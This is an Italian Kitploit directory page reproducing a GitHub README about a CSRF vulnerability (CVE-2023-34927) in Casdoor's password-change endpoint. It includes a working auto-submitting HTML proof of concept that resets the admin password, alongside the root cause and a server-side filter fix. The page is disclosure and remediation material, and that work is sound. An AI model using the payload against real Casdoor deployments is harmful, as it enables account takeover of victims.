Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
csrf_casdoor | Kitploit
Strumenti/GitHubGitHub/vanlam2001/csrf_casdoor
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingAutenticazione
GitHubvanlam2001/csrf_casdoor

csrf_casdoor

Vedi Repository
6 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Casdoor – Cross-Site Request Forgery (CSRF)

Sommario

  • Vulnerabilità: CSRF in /api/set-password che consente di modificare la password senza consenso.
  • Versioni interessate: Tutte le versioni del software sono interessate. Al momento non è disponibile una release corretta.
  • CVE: CVE-2023-34927 (l'ultima deve ancora essere assegnata).
  • Autore dell'exploit: Van Lam Nguyen.
  • Testato su: Windows

Impatto

  • Se una vittima ha effettuato l'accesso a Casdoor, una POST cross-site può cambiare la password della vittima (es. built-in/admin), portando al furto dell'account.

Prerequisiti dell'attacco

  • La vittima è autenticata e dispone di un cookie casdoor_session_id valido.
  • La vittima visita una pagina dannosa che invia automaticamente una POST a /api/set-password.

Proof of Concept

root@kitploit:~
<html>
<form action="http://localhost:8000/api/set-password" method="POST">
    <input name='userOwner' value='built&#45;in' type='hidden'>
    <input name='userName' value='admin' type='hidden'>
    <input name='newPassword' value='hacked' type='hidden'>
    <input type=submit>
</form>
<script>
    history.pushState('', '', '/');
    document.forms[0].submit();
</script>
</html>

Causa principale

  • Gli endpoint che modificano lo stato sotto /api/* accettano richieste autenticate tramite cookie senza applicare controlli di same-origin (Origin/Referer) o token CSRF.

Panoramica della correzione

  • Aggiungere un filtro CSRF lato server per negare le richieste POST/PUT/DELETE/PATCH cross-site basate su cookie sotto /api/*.
  • Consentire le richieste con autenticazione esplicita non basata su cookie (ad es. Authorization, Basic auth, credenziali client o accessToken) o le richieste senza cookie di sessione del browser (tipiche chiamate server-to-server).

Implementazione

  • Usare routers.CSRFFilter implementato in csrf_filter.go. Questo filtro:
    • Termina anticipatamente per i metodi che non modificano lo stato.
    • Consente richieste con autenticazione esplicita non basata su cookie.
    • Blocca le richieste cross-site quando è presente un cookie di sessione e l'origine non corrisponde all'host.

Come integrare in Casdoor

  1. Copiare csrf_filter.go nel pacchetto routers esistente del progetto Casdoor. Non modificare o eliminare nulla in questo file.
  2. Registrare il filtro all'inizio della pipeline HTTP (all'interno di main):
    root@kitploit:~
    // Beego v1 style
    beego.InsertFilter("/api/*", beego.BeforeRouter, routers.CSRFFilter)
    
    // If your project uses Beego v2 and imports as `web`:
    // web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
    

Verifica

  • Dopo aver registrato il filtro, riprodurre il PoC precedente mentre si è connessi. La richiesta dovrebbe essere negata con Unauthorized operation e il server dovrebbe registrare CSRF check failed.
  • Le chiamate API cross-origin che includono header Authorization o parametri accessToken dovrebbero continuare a funzionare.

File del repository

  • csrf_filter.go: filtro CSRF da copiare nel pacchetto routers di Casdoor.
  • poc.html: pagina minimale che riproduce l'attacco CSRF.
  • README.md: questo documento che descrive la vulnerabilità e i passaggi di correzione.

Riferimenti

  • Casdoor: https://casdoor.org/
  • Version: https://github.com/casdoor/casdoor/releases
  • https://vulmon.com/vulnerabilitydetails?qid=CVE-2023-34927

Video

  • Youtube: https://youtu.be/N5VENgiObjY
Scarica lo strumento